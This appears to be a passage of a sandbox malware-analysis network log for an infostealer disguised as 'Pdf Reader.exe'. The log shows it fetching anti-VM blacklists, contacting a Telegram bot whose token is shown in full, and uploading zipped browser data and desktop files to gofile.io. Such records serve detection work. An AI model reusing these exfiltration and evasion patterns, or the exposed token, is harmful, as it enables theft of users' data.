2024-12-03 09:28:07 UTC	130	OUT	GET /6nz/virustotal-vm-blacklist/refs/heads/main/ip_list.txt HTTP/1.1 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-12-03 09:28:08 UTC	900	IN	HTTP/1.1 200 OK Connection: close Content-Length: 2853 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "a0f0ad87a3cc1741bf24d6d8ec37619ff28dab76edf802ca5ceb0e1349232152" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 34E7:16F29C:5BD0CB:65B59C:674ECF27 Accept-Ranges: bytes Date: Tue, 03 Dec 2024 09:28:07 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740067-EWR X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1733218088.966859,VS0,VE15 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: e2c86b9695091e6527bce76f5c7bc7ab6c1badae Expires: Tue, 03 Dec 2024 09:33:07 GMT Source-Age: 0
2024-12-03 09:28:08 UTC	1378	IN	Data Raw: 31 30 2e 32 30 30 2e 31 36 39 2e 32 30 34 0a 31 30 34 2e 31 39 38 2e 31 35 35 2e 31 37 33 0a 31 30 34 2e 32 30 30 2e 31 35 31 2e 33 35 0a 31 30 39 2e 31 34 35 2e 31 37 33 2e 31 36 39 0a 31 30 39 2e 32 32 36 2e 33 37 2e 31 37 32 0a 31 30 39 2e 37 34 2e 31 35 34 2e 39 30 0a 31 30 39 2e 37 34 2e 31 35 34 2e 39 31 0a 31 30 39 2e 37 34 2e 31 35 34 2e 39 32 0a 31 34 30 2e 32 32 38 2e 32 31 2e 33 36 0a 31 34 39 2e 38 38 2e 31 31 31 2e 37 39 0a 31 35 34 2e 36 31 2e 37 31 2e 35 30 0a 31 35 34 2e 36 31 2e 37 31 2e 35 31 0a 31 37 32 2e 31 30 35 2e 38 39 2e 32 30 32 0a 31 37 34 2e 37 2e 33 32 2e 31 39 39 0a 31 37 36 2e 36 33 2e 34 2e 31 37 39 0a 31 37 38 2e 32 33 39 2e 31 36 35 2e 37 30 0a 31 38 31 2e 32 31 34 2e 31 35 33 2e 31 31 0a 31 38 35 2e 32 32 30 2e 31 30 31 Data Ascii: 10.200.169.204104.198.155.173104.200.151.35109.145.173.169109.226.37.172109.74.154.90109.74.154.91109.74.154.92140.228.21.36149.88.111.79154.61.71.50154.61.71.51172.105.89.202174.7.32.199176.63.4.179178.239.165.70181.214.153.11185.220.101
2024-12-03 09:28:08 UTC	1378	IN	Data Raw: 30 2e 31 31 38 0a 32 31 33 2e 33 33 2e 31 39 30 2e 31 37 31 0a 32 31 33 2e 33 33 2e 31 39 30 2e 32 32 0a 32 31 33 2e 33 33 2e 31 39 30 2e 32 32 37 0a 32 31 33 2e 33 33 2e 31 39 30 2e 32 34 32 0a 32 31 33 2e 33 33 2e 31 39 30 2e 33 35 0a 32 31 33 2e 33 33 2e 31 39 30 2e 34 32 0a 32 31 33 2e 33 33 2e 31 39 30 2e 34 36 0a 32 31 33 2e 33 33 2e 31 39 30 2e 36 39 0a 32 31 33 2e 33 33 2e 31 39 30 2e 37 34 0a 32 33 2e 31 32 38 2e 32 34 38 2e 34 36 0a 33 34 2e 31 30 35 2e 30 2e 32 37 0a 33 34 2e 31 30 35 2e 31 38 33 2e 36 38 0a 33 34 2e 31 30 35 2e 37 32 2e 32 34 31 0a 33 34 2e 31 33 38 2e 32 35 35 2e 31 30 34 0a 33 34 2e 31 33 38 2e 39 36 2e 32 33 0a 33 34 2e 31 34 31 2e 31 34 36 2e 31 31 34 0a 33 34 2e 31 34 31 2e 32 34 35 2e 32 35 0a 33 34 2e 31 34 32 2e 37 34 Data Ascii: 0.118213.33.190.171213.33.190.22213.33.190.227213.33.190.242213.33.190.35213.33.190.42213.33.190.46213.33.190.69213.33.190.7423.128.248.4634.105.0.2734.105.183.6834.105.72.24134.138.255.10434.138.96.2334.141.146.11434.141.245.2534.142.74
2024-12-03 09:28:08 UTC	97	IN	Data Raw: 35 2e 37 31 2e 36 35 0a 39 35 2e 32 35 2e 37 31 2e 37 30 0a 39 35 2e 32 35 2e 37 31 2e 38 30 0a 39 35 2e 32 35 2e 37 31 2e 38 36 0a 39 35 2e 32 35 2e 37 31 2e 38 37 0a 39 35 2e 32 35 2e 37 31 2e 38 39 0a 39 35 2e 32 35 2e 37 31 2e 39 32 0a 39 35 2e 32 35 2e 38 31 2e 32 34 0a 4e 6f 6e 65 0a Data Ascii: 5.71.6595.25.71.7095.25.71.8095.25.71.8695.25.71.8795.25.71.8995.25.71.9295.25.81.24None

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49732	185.199.110.133	443	7392	C:\Users\user\Desktop\Pdf Reader.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 09:28:07 UTC	139	OUT	GET /6nz/virustotal-vm-blacklist/refs/heads/main/pc_username_list.txt HTTP/1.1 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-12-03 09:28:08 UTC	900	IN	HTTP/1.1 200 OK Connection: close Content-Length: 1275 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "bbf75a064e165fba2b8fcc6595e496788fe27c3185ffa2fa56d3479e12867693" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 4D6E:3EA9F3:642160:6E077E:674ECF27 Accept-Ranges: bytes Date: Tue, 03 Dec 2024 09:28:07 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740056-EWR X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1733218088.887167,VS0,VE13 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: d5bb2fc5db1171154e3160dc5e19b2e4a644062b Expires: Tue, 03 Dec 2024 09:33:07 GMT Source-Age: 0
2024-12-03 09:28:08 UTC	1275	IN	Data Raw: 30 35 68 30 30 47 69 30 0a 30 35 4b 76 41 55 51 4b 50 51 0a 32 31 7a 4c 75 63 55 6e 66 49 38 35 0a 33 75 32 76 39 6d 38 0a 34 33 42 79 34 0a 34 74 67 69 69 7a 73 4c 69 6d 53 0a 35 73 49 42 4b 0a 35 59 33 79 37 33 0a 67 72 65 70 65 74 65 0a 36 34 46 32 74 4b 49 71 4f 35 0a 36 4f 34 4b 79 48 68 4a 58 42 69 52 0a 37 44 42 67 64 78 75 0a 37 77 6a 6c 47 58 37 50 6a 6c 57 34 0a 38 4c 6e 66 41 61 69 39 51 64 4a 52 0a 38 4e 6c 30 43 6f 6c 4e 51 35 62 71 0a 38 56 69 7a 53 4d 0a 39 79 6a 43 50 73 45 59 49 4d 48 0a 41 62 62 79 0a 61 63 6f 78 0a 41 64 6d 69 6e 69 73 74 72 61 74 6f 72 0a 41 6d 79 0a 61 6e 64 72 65 61 0a 41 70 70 4f 6e 46 6c 79 53 75 70 70 6f 72 74 0a 41 53 50 4e 45 54 0a 61 7a 75 72 65 0a 62 61 72 62 61 72 72 61 79 0a 62 65 6e 6a 61 68 0a 42 72 75 6e Data Ascii: 05h00Gi005KvAUQKPQ21zLucUnfI853u2v9m843By44tgiizsLimS5sIBK5Y3y73grepete64F2tKIqO56O4KyHhJXBiR7DBgdxu7wjlGX7PjlW48LnfAai9QdJR8Nl0ColNQ5bq8VizSM9yjCPsEYIMHAbbyacoxAdministratorAmyandreaAppOnFlySupportASPNETazurebarbarraybenjahBrun

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49731	185.199.110.133	443	7392	C:\Users\user\Desktop\Pdf Reader.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 09:28:07 UTC	137	OUT	GET /6nz/virustotal-vm-blacklist/refs/heads/main/processes_list.txt HTTP/1.1 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-12-03 09:28:08 UTC	898	IN	HTTP/1.1 200 OK Connection: close Content-Length: 31 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "b8ccbe01df84b6df59046ff7ef97fe02bbba9374a7a63f24d1c8a0b07083adca" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 2AFA:2AD828:586378:62498C:674ECF27 Accept-Ranges: bytes Date: Tue, 03 Dec 2024 09:28:07 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740058-EWR X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1733218088.917595,VS0,VE15 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: 0c52d0f88e3fe97656a457363dd48b647909bb20 Expires: Tue, 03 Dec 2024 09:33:07 GMT Source-Age: 0
2024-12-03 09:28:08 UTC	31	IN	Data Raw: 56 6d 52 65 6d 6f 74 65 47 75 65 73 74 2e 65 78 65 0a 53 79 73 6d 6f 6e 36 34 2e 65 78 65 0a Data Ascii: VmRemoteGuest.exeSysmon64.exe

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49736	149.154.167.220	443	7392	C:\Users\user\Desktop\Pdf Reader.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 09:28:10 UTC	121	OUT	GET /bot6926474815:AAFx9tLAnf5OAVQZp2teS3G2_6T1wCP67xM/getMe HTTP/1.1 Host: api.telegram.org Connection: Keep-Alive
2024-12-03 09:28:10 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 03 Dec 2024 09:28:10 GMT Content-Type: application/json Content-Length: 262 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-03 09:28:10 UTC	262	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 69 64 22 3a 36 39 32 36 34 37 34 38 31 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 44 72 61 69 6e 65 72 57 34 79 77 33 72 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 44 72 61 69 6e 65 72 57 34 79 77 33 72 64 5f 62 6f 74 22 2c 22 63 61 6e 5f 6a 6f 69 6e 5f 67 72 6f 75 70 73 22 3a 74 72 75 65 2c 22 63 61 6e 5f 72 65 61 64 5f 61 6c 6c 5f 67 72 6f 75 70 5f 6d 65 73 73 61 67 65 73 22 3a 66 61 6c 73 65 2c 22 73 75 70 70 6f 72 74 73 5f 69 6e 6c 69 6e 65 5f 71 75 65 72 69 65 73 22 3a 66 61 6c 73 65 2c 22 63 61 6e 5f 63 6f 6e 6e 65 63 74 5f 74 6f 5f 62 75 73 69 6e 65 73 73 22 3a 66 61 6c 73 65 2c 22 68 61 73 5f 6d 61 69 6e 5f 77 65 62 5f 61 70 70 22 3a Data Ascii: {"ok":true,"result":{"id":6926474815,"is_bot":true,"first_name":"DrainerW4yw3rd","username":"DrainerW4yw3rd_bot","can_join_groups":true,"can_read_all_group_messages":false,"supports_inline_queries":false,"can_connect_to_business":false,"has_main_web_app":

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49739	45.112.123.126	443	7392	C:\Users\user\Desktop\Pdf Reader.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 09:28:16 UTC	70	OUT	GET /servers HTTP/1.1 Host: api.gofile.io Connection: Keep-Alive
2024-12-03 09:28:17 UTC	1116	IN	HTTP/1.1 200 OK Server: nginx/1.27.1 Date: Tue, 03 Dec 2024 09:28:17 GMT Content-Type: application/json; charset=utf-8 Content-Length: 447 Connection: close Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Content-Type, Authorization Access-Control-Allow-Methods: GET, POST, OPTIONS, PUT, DELETE, HEAD Access-Control-Allow-Credentials: true Content-Security-Policy: default-src 'self';base-uri 'self';font-src 'self' https: data:;form-action 'self';frame-ancestors 'self';img-src 'self' data:;object-src 'none';script-src 'self';script-src-attr 'none';style-src 'self' https: 'unsafe-inline';upgrade-insecure-requests Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: cross-origin Origin-Agent-Cluster: ?1 Referrer-Policy: no-referrer Strict-Transport-Security: max-age=15552000; includeSubDomains X-Content-Type-Options: nosniff X-DNS-Prefetch-Control: off X-Download-Options: noopen X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none X-XSS-Protection: 0 ETag: W/"1bf-AextSZ737AY3S6foxddDHxzmuj8"
2024-12-03 09:28:17 UTC	447	IN	Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 64 61 74 61 22 3a 7b 22 73 65 72 76 65 72 73 22 3a 5b 7b 22 6e 61 6d 65 22 3a 22 73 74 6f 72 65 34 22 2c 22 7a 6f 6e 65 22 3a 22 65 75 22 7d 2c 7b 22 6e 61 6d 65 22 3a 22 73 74 6f 72 65 35 22 2c 22 7a 6f 6e 65 22 3a 22 65 75 22 7d 2c 7b 22 6e 61 6d 65 22 3a 22 73 74 6f 72 65 32 22 2c 22 7a 6f 6e 65 22 3a 22 65 75 22 7d 2c 7b 22 6e 61 6d 65 22 3a 22 73 74 6f 72 65 31 22 2c 22 7a 6f 6e 65 22 3a 22 65 75 22 7d 2c 7b 22 6e 61 6d 65 22 3a 22 73 74 6f 72 65 31 30 22 2c 22 7a 6f 6e 65 22 3a 22 65 75 22 7d 5d 2c 22 73 65 72 76 65 72 73 41 6c 6c 5a 6f 6e 65 22 3a 5b 7b 22 6e 61 6d 65 22 3a 22 73 74 6f 72 65 33 22 2c 22 7a 6f 6e 65 22 3a 22 6e 61 22 7d 2c 7b 22 6e 61 6d 65 22 3a 22 73 74 6f 72 65 38 22 2c 22 7a 6f 6e Data Ascii: {"status":"ok","data":{"servers":[{"name":"store4","zone":"eu"},{"name":"store5","zone":"eu"},{"name":"store2","zone":"eu"},{"name":"store1","zone":"eu"},{"name":"store10","zone":"eu"}],"serversAllZone":[{"name":"store3","zone":"na"},{"name":"store8","zon

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49740	31.14.70.245	443	7392	C:\Users\user\Desktop\Pdf Reader.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 09:28:19 UTC	207	OUT	POST /uploadfile HTTP/1.1 Content-Type: multipart/form-data; boundary="4b2373d0-ec86-4e7c-a568-e962619f5055" Host: store4.gofile.io Content-Length: 152048 Expect: 100-continue Connection: Keep-Alive
2024-12-03 09:28:19 UTC	40	OUT	Data Raw: 2d 2d 34 62 32 33 37 33 64 30 2d 65 63 38 36 2d 34 65 37 63 2d 61 35 36 38 2d 65 39 36 32 36 31 39 66 35 30 35 35 0d 0a Data Ascii: --4b2373d0-ec86-4e7c-a568-e962619f5055
2024-12-03 09:28:19 UTC	123	OUT	Data Raw: 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 66 69 6c 65 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 6a 6f 6e 65 73 40 35 36 32 32 35 38 5f 65 6e 2d 43 48 2e 7a 69 70 22 3b 20 66 69 6c 65 6e 61 6d 65 2a 3d 75 74 66 2d 38 27 27 6a 6f 6e 65 73 25 34 30 35 36 32 32 35 38 5f 65 6e 2d 43 48 2e 7a 69 70 0d 0a 0d 0a Data Ascii: Content-Disposition: form-data; name=file; filename="user@562258_en-CH.zip"; filename*=utf-8''user%40562258_en-CH.zip
2024-12-03 09:28:19 UTC	4096	OUT	Data Raw: 50 4b 03 04 14 00 01 08 00 00 85 23 83 59 00 00 00 00 0c 00 00 00 00 00 00 00 19 00 00 00 42 72 6f 77 73 65 72 73 2f 45 64 67 65 2f 48 69 73 74 6f 72 79 2e 74 78 74 88 4a 83 46 fb 59 fa e2 dd 5f 11 07 50 4b 03 04 14 00 09 08 08 00 85 23 83 59 71 80 43 5d 74 00 00 00 dc 00 00 00 1e 00 00 00 42 72 6f 77 73 65 72 73 2f 46 69 72 65 66 6f 78 2f 42 6f 6f 6b 6d 61 72 6b 73 2e 74 78 74 36 ea c1 85 2c 02 58 41 ec 22 c8 ac d7 66 19 22 3d 7a b3 58 68 a2 41 da fb 84 04 25 52 1e e0 54 7b 14 7c 2e 36 95 ed 00 b6 76 60 5a 64 60 9e e0 7e 97 09 cf 93 2e d6 0e d2 c9 e1 48 a6 93 19 fd 16 a5 88 8c ee 00 48 3f 81 16 34 a1 4d 57 3a 4f 09 59 af cc 98 00 02 09 bd 75 93 91 06 82 bf b4 a7 f1 b2 3b a4 c3 99 ee 1d 10 49 57 a8 90 be f8 50 54 e5 aa 50 4b 07 08 71 80 43 5d 74 00 00 00 Data Ascii: PK#YBrowsers/Edge/History.txtJFY_PK#YqC]tBrowsers/Firefox/Bookmarks.txt6,XA"f"=zXhA%RT{\|.6v`Zd`~.HH?4MW:OYu;IWPTPKqC]t
2024-12-03 09:28:19 UTC	4096	OUT	Data Raw: 2f 6a 6f 6e 65 73 2f 44 65 73 6b 74 6f 70 2f 42 50 4d 4c 4e 4f 42 56 53 42 2e 70 6e 67 97 d7 00 0a 49 01 58 e3 a5 f1 69 68 9b 85 ac e4 d4 6f f7 47 0f 06 eb f3 9e 03 59 04 dc 11 da 31 84 47 0c d4 c8 2f 06 68 1d 7f f6 87 09 0d 66 d2 cb 87 2d be 30 e2 fd bb 9c a0 aa 7b ac dd 26 e5 18 36 20 86 dc 9e 6a a8 85 34 ba ed 48 1f fb c4 9a cb 47 61 f6 0b e1 20 c3 13 f8 22 e0 38 ce ce c3 c2 58 fb b6 24 25 68 0f 02 21 eb 82 92 4e c4 de d9 38 73 49 55 6a 71 3a 47 cd 3b 7e 5c be 47 bc 5a 63 1c a1 95 38 46 26 b4 c9 3f 80 68 0e 17 f5 2e 9e 1d 77 ac 1a d0 ed 37 db 07 fb 8e 7f b1 93 d3 e8 13 b7 2e 03 4e 8d 98 c0 bc 8d 20 e9 2c ce 88 49 f1 30 8e 17 3c b1 99 6e fa 26 00 78 b6 74 43 8a 89 f2 c2 a6 61 40 d6 4c 0a 78 61 62 17 2b f6 71 08 14 b4 d7 b2 f7 ee 43 bc a0 1b 06 b0 a5 19 Data Ascii: /user/Desktop/BPMLNOBVSB.pngIXihoGY1G/hf-0{&6 j4HGa "8X$%h!N8sIUjq:G;~\GZc8F&?h.w7.N ,I0<n&xtCa@Lxab+qC
2024-12-03 09:28:19 UTC	4096	OUT	Data Raw: 3d 3e 84 d1 73 20 6e e2 2a 44 7a c3 71 a4 a3 9b 9f 96 b9 e5 97 dc 73 9a be bb 6e a0 d0 fd 5a 82 b0 6b dd 74 04 01 b4 64 df ea 3c 0c 89 a8 70 91 2d ef 53 49 26 c5 9e 8f 8e d2 47 cb 98 66 7d 61 02 2c 9f 67 83 9d e4 87 cf 6a 5e d9 1f da 9d 8f c4 a0 65 fb 47 5a d6 82 17 ed ff 93 5f f8 71 b2 5a 6a 10 7a b2 59 f9 1f 47 1a 00 10 e5 07 28 5f 19 82 f1 75 81 39 82 bd 60 cc 22 52 30 81 1f 3d a3 0d 6e 2a dd c0 1a c8 e9 e5 1b e8 9d 62 33 c5 5e 76 93 5b 2d e6 c5 24 e9 11 96 9f e9 05 0e 7c 1e 05 83 27 ca 14 9d fc 06 fa e6 af a8 27 24 4e bb 20 5e ca 1b a8 e7 c3 8b 4d eb 67 87 7c 4b 39 c0 d8 74 a3 43 43 07 29 ef 3f 41 f5 64 f6 0d 1e 52 8a 9f a7 14 24 53 07 dc 6b a5 9b cf d8 70 dd d4 a6 c7 f5 2a 75 f4 4a 94 67 48 95 5d fa c4 2b 1d b7 81 70 50 8c da 83 43 37 2b 44 a7 98 89 Data Ascii: =>s nDzqsnZktd<p-SI&Gf}a,gj^eGZ_qZjzYG(_u9`"R0=nb3^v[-$\|''$N ^Mg\|K9tCC)?AdR$Skp*uJgH]+pPC7+D
2024-12-03 09:28:19 UTC	4096	OUT	Data Raw: 1a cf 4c 63 95 c0 ac 83 3b 46 34 a5 55 a4 b9 88 57 1d 7a 9e ac 41 f5 37 7a d0 fe 18 f3 61 3c 73 5e 5d 83 84 70 8a 0d a2 b5 84 ef 33 8a cd 90 fb 10 50 4b 07 08 59 f1 45 0f 94 02 00 00 02 04 00 00 50 4b 03 04 14 00 09 08 08 00 51 40 44 57 ea eb 7d 33 92 02 00 00 02 04 00 00 33 00 00 00 47 72 61 62 62 65 72 2f 44 52 49 56 45 2d 43 2f 55 73 65 72 73 2f 6a 6f 6e 65 73 2f 44 65 73 6b 74 6f 70 2f 56 4c 5a 44 47 55 4b 55 54 5a 2e 64 6f 63 78 e1 ab 01 02 bb 23 d5 de 89 a2 5f 42 1b d1 cd c4 25 a9 13 9c a1 b6 af 7f b5 e0 58 9e 83 be 0c bd 8a 32 5c 86 42 f6 6a 60 8c b4 f6 50 81 77 79 af 05 e1 ef 28 3b 0e 4b 5e 02 fe 81 ac 43 75 7d 7e 63 ac 51 fe 49 22 b4 20 eb dc 13 f2 2d 02 07 92 b6 a8 06 03 08 39 b5 b2 b9 97 89 2c 95 14 8d db 21 72 6e 00 2b 0f 58 95 12 7e 01 e9 f6 Data Ascii: Lc;F4UWzA7za<s^]p3PKYEPKQ@DW}33Grabber/DRIVE-C/Users/user/Desktop/VLZDGUKUTZ.docx#_B%X2\Bj`Pwy(;K^Cu}~cQI" -9,!rn+X~
2024-12-03 09:28:19 UTC	4096	OUT	Data Raw: cd b3 d6 8b 16 f9 8e d6 8b 9a 05 e3 e5 5e 62 47 07 e4 db 77 44 be 1c d2 21 77 94 41 9a b4 37 f6 7c 6d 86 4b 6e 12 db 19 9b 50 61 66 30 2d fb 99 6c 8d 38 67 42 7b fc 8e e9 e1 56 78 70 08 f4 44 ca a4 f3 a4 b7 78 1e f4 72 ab 9b 25 61 84 70 40 8c c3 48 c5 4b ec 3f c7 5e 68 2b e5 fd 3a c3 d4 50 9e 7c 22 b7 06 9c 33 1f 59 d8 a1 27 57 83 78 a6 9d 2b 4d 05 90 fd 85 ee c8 7f 95 35 76 61 12 a5 fd 68 7a 7b bb 72 80 3c 2f 2f c7 0c 7d f2 78 1a 8a 38 c7 51 a2 43 6a 78 cf 26 d8 6b 5d ea 99 38 02 81 46 6a da ff 93 78 0b d0 9a 7b 7c 62 87 94 7f f4 44 78 2b 70 ed 71 af af cb bc 9d 7a 6b f1 cc 28 63 ae 8a 06 f2 28 b1 b2 c4 f6 fb be 7c f1 e5 a9 3c 0a 00 0c 65 5d 3d 02 ab 9b c7 6b ad 0d 11 43 d0 4f 18 a9 3c 9f 14 26 82 61 6c c2 c3 69 ed c2 a1 aa c9 df a5 cf f8 00 f9 b5 d6 d5 Data Ascii: ^bGwD!wA7\|mKnPaf0-l8gB{VxpDxr%ap@HK?^h+:P\|"3Y'Wx+M5vahz{r<//}x8QCjx&k]8Fjx{\|bDx+pqzk(c(\|<e]=kCO<&ali
2024-12-03 09:28:19 UTC	4096	OUT	Data Raw: 47 f7 6b 33 a1 bc d5 da 17 96 d7 99 c5 f3 17 9d ff d9 7e 8a af 03 39 c4 ac 5c f2 5d 43 2e 98 d3 f3 c6 bb d0 d8 8a 2f ba b4 0b 44 f0 b5 59 0d 57 75 7a 8f 0c 40 5a 3c 63 52 69 38 89 b4 90 97 4f 0a b2 e6 31 85 f5 f6 c2 2d cf b9 f0 40 ac b1 b9 ca b3 c2 9e 9c 6b e6 eb c5 a8 1e 51 c6 74 47 e9 5e 89 58 d2 c3 ed 22 37 77 a6 2b dc be 7e 50 35 5c e9 c2 3c 76 80 4f 2b 5d f6 f0 bb 1a 8d 1e f8 f2 b9 2a b6 af 5b 1b 1a 34 4e 3b 46 60 38 a1 08 d4 de ce 14 05 61 fb 40 3a b6 28 30 5c 8a c1 42 f4 e5 33 52 6a 8f c7 50 54 b4 5e 6e 4a 23 c2 02 01 d3 c1 5a f8 ad 97 4c 96 ea d4 5d 55 a6 29 22 4d 29 3e c5 26 e6 35 f3 bb d7 d3 bc 99 ce b8 c5 9b fe 39 69 f1 99 2e 95 24 2b 8d 78 88 58 1d 9c 25 65 25 00 43 4b 10 ea 93 5a e0 ff 67 9a aa 7e 54 50 4b 07 08 ba eb bd 05 93 02 00 00 02 04 Data Ascii: Gk3~9\]C./DYWuz@Z<cRi8O1-@kQtG^X"7w+~P5\<vO+]*[4N;F`8a@:(0\B3RjPT^nJ#ZL]U)"M)>&59i.$+xX%e%CKZg~TPK
2024-12-03 09:28:19 UTC	4096	OUT	Data Raw: 00 09 08 08 00 51 40 44 57 2d a0 96 09 93 02 00 00 02 04 00 00 3d 00 00 00 47 72 61 62 62 65 72 2f 44 52 49 56 45 2d 43 2f 55 73 65 72 73 2f 6a 6f 6e 65 73 2f 44 65 73 6b 74 6f 70 2f 56 4c 5a 44 47 55 4b 55 54 5a 2f 4e 57 54 56 43 44 55 4d 4f 42 2e 6a 70 67 78 8b e8 f3 6c ce ee 70 aa f4 55 0c e8 fa 7c c3 d0 77 53 ae 2e d3 c8 4d 34 d2 d9 62 81 d5 ad 18 51 6e dd 32 4b 9e d1 db 60 e5 3e 14 e6 33 6e 4b ab 18 34 96 fc 00 c3 cd 7b 33 99 8d 91 66 66 1f e6 dd e1 94 ef 41 96 b9 7f 03 a3 c4 8d 19 69 18 d2 dc d2 f0 0b 32 6a 25 ac e3 cf 65 8e d3 a3 99 6c 9b 71 83 4c 90 c9 21 8a 5d e8 45 99 8b bf e5 c1 98 c1 42 e9 f8 c2 18 b2 2e 10 b8 bc e1 44 7e 08 90 c9 d6 55 f8 b9 5b 70 32 79 06 e2 90 18 7c 66 ac 50 b5 c6 6b d5 b5 86 92 6c 2c 29 63 7b 7b fe 6d 0d c4 fe a5 ce 3d a2 Data Ascii: Q@DW-=Grabber/DRIVE-C/Users/user/Desktop/VLZDGUKUTZ/NWTVCDUMOB.jpgxlpU\|wS.M4bQn2K`>3nK4{3ffAi2j%elqL!]EB.D~U[p2y\|fPkl,)c{{m=
2024-12-03 09:28:19 UTC	4096	OUT	Data Raw: 80 c7 57 1f 1d 4d 5a d4 d3 6f 6c 3c bb 0b 2a 95 ae fc 02 6a 15 da 87 a6 33 0b 99 9d 37 9c d0 71 f4 ba 4a 59 bb 4f dc 29 92 df f6 37 66 49 66 d5 78 39 72 fe 97 88 ec a9 a6 9b c4 c3 f7 c6 93 dc 77 49 c0 29 8a 62 66 c4 51 c1 bc 28 f5 a6 18 00 f2 60 66 6e 28 ee ca 55 a8 c4 17 d2 a7 c9 04 18 90 b4 ea ec 67 93 71 ce 2d e7 f4 7e 51 bb 76 16 40 9b db 30 d2 6b bb 5f 74 02 ff d0 72 a7 3d 43 f3 74 c8 51 f2 73 19 e8 7b 23 ba ff 97 41 bc 32 7f d2 ca 35 41 c2 1c e8 22 54 63 ac 24 78 b0 e5 1e e3 72 da ee c8 92 06 58 b1 ce bc e6 c9 16 c3 74 9f 7a 10 d2 fb b4 60 3d 68 dc 47 94 d7 ce 8e 24 fe ab 5a 67 f0 7f 8d 99 8e 53 56 57 fb 65 ae 67 f6 34 b5 32 eb 55 14 cd 5b 96 e8 fe 0d 3e 36 3b 6c 3a 78 05 d8 b1 c2 10 e8 e4 49 87 ae 18 20 0a 5d cb 02 b3 90 10 e4 03 96 7b e2 40 04 bb Data Ascii: WMZol<*j37qJYO)7fIfx9rwI)bfQ(`fn(Ugq-~Qv@0k_tr=CtQs{#A25A"Tc$xrXtz`=hG$ZgSVWeg42U[>6;l:xI ]{@
2024-12-03 09:28:19 UTC	25	IN	HTTP/1.1 100 Continue
2024-12-03 09:28:21 UTC	888	IN	HTTP/1.1 200 OK Server: nginx/1.27.1 Date: Tue, 03 Dec 2024 09:28:21 GMT Content-Type: application/json Content-Length: 439 Connection: close Access-Control-Allow-Headers: Accept, Accept-Language, Content-Language, Content-Type, Content-Length, Range, Authorization Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Cache-Control, Content-Encoding, Content-Range {"data":{"createTime":1733218101,"downloadPage":"https://gofile.io/d/RowtbR","guestToken":"AJtN4m0tvAi5a5NY0ai3y1kT5G7hlRWo","id":"c6afc0ed-deb8-49fb-a264-d2d889b58915","md5":"8750a598aaf0411262975f36c426e58c","mimetype":"application/zip","modTime":1733218101,"name":"user@562258_en-CH.zip","parentFolder":"9ac3714f-da9e-4f10-bdd5-bb5a6583f16a","parentFolderCode":"RowtbR","servers":["store4"],"size":151841,"type":"file"},"status":"ok"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49746	149.154.167.220	443	7392	C:\Users\user\Desktop\Pdf Reader.exe

Timestamp	Bytes transferred	Direction	Data
